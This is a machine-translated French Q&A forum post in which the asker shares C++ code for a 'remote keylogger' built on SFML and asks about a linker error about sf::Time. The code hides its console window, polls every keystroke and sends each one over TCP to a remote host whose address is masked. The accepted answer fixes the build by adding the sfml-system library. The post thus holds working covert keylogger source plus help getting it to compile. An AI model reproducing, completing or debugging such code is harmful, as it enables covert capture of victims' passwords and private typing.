2017-05-30 5 views
1

Donc je travaille sur un keylogger distant pour éducatif fins. Pour une raison quelconque lorsque je tente de compiler le client, je reçois cette erreur (j'utilise SFML):Symbole externe non résolu sf :: Temps avec SFML

Error LNK2001 unresolved external symbol "__declspec(dllimport) public: 
static class sf::Time const sf::Time::Zero" ([email protected]@[email protected]@[email protected]) 

Ce qui est étrange est que le serveur compile bien et il utilise la même bibliothèque. J'ai vérifié les paramètres de mon éditeur de liens d'innombrables fois et j'ai même essayé de créer un nouveau projet, mais je n'ai pas de succès.

Voici le code:

#include <fstream> 
#include <Windows.h> 
#include <SFML\Network.hpp> 
#include <iostream> 

void ConnectToHost(sf::TcpSocket* socket) 
{ 
    sf::Socket::Status status = socket->connect("*****", ***); 

    if (status != sf::Socket::Done) 
     std::cout << "Error connecting to socket." << std::endl; 

    return; 
} 

int main() 
{ 
    FreeConsole(); 

    sf::TcpSocket socket; 
    ConnectToHost(&socket); 

    while (1) 
    { 
     for (char key = 8; key <= 190; key++) 
     { 
      if (GetAsyncKeyState(key) == -32767) 
      { 
       char key_sent[50] = { key }; 
       socket.send(key_sent, sizeof(key_sent)); 
      } 
     } 
    } 
    return 0; 
} 

Je suis actuellement le lien mais j'ai sfml-network-d.lib pour le débogage et le sfml-network.lib pour libérer, aussi essayé relier tous les sfml dynamique bibliothèques de liens ainsi, donc cela ne pouvait rien avoir à faire avec. Quoi qu'il en soit, je suppose que c'est juste une erreur d'insouciance que j'ai ratée ou oubliée, mais depuis que je regarde cela depuis quelques jours maintenant, j'ai pensé que je le posterais comme une question.

Répondre

4

Votre erreur indique qu'il n'y a rien de mal avec votre code, c'est un problème avec la liaison. Vous liez à sfml-network.lib, mais vous devrez lier à sfml-system.lib afin d'obtenir sf :: Time. Sfml-network.lib vous donne seulement: Ftp, Http, IpAddress, Paquet, Socket, SocketSelector, TcpListener, TcpSocket, UdpSocket.

Le réseau SFML a une dépendance sur SFML-System comme décrit here. Vous devrez établir un lien explicite avec le système SFML chaque fois que vous utiliserez le réseau SFML.

Une autre note rapide est que vous avez mentionné la liaison aux bibliothèques de liens dynamiques. Vous ne devriez pas lier à des DLL, les .libs que vous avez liés vous permettent réellement d'importer ces DLL. Si vous voulez faire le contraire (lien statique), alors vous devrez créer un lien vers les variantes * -s.lib.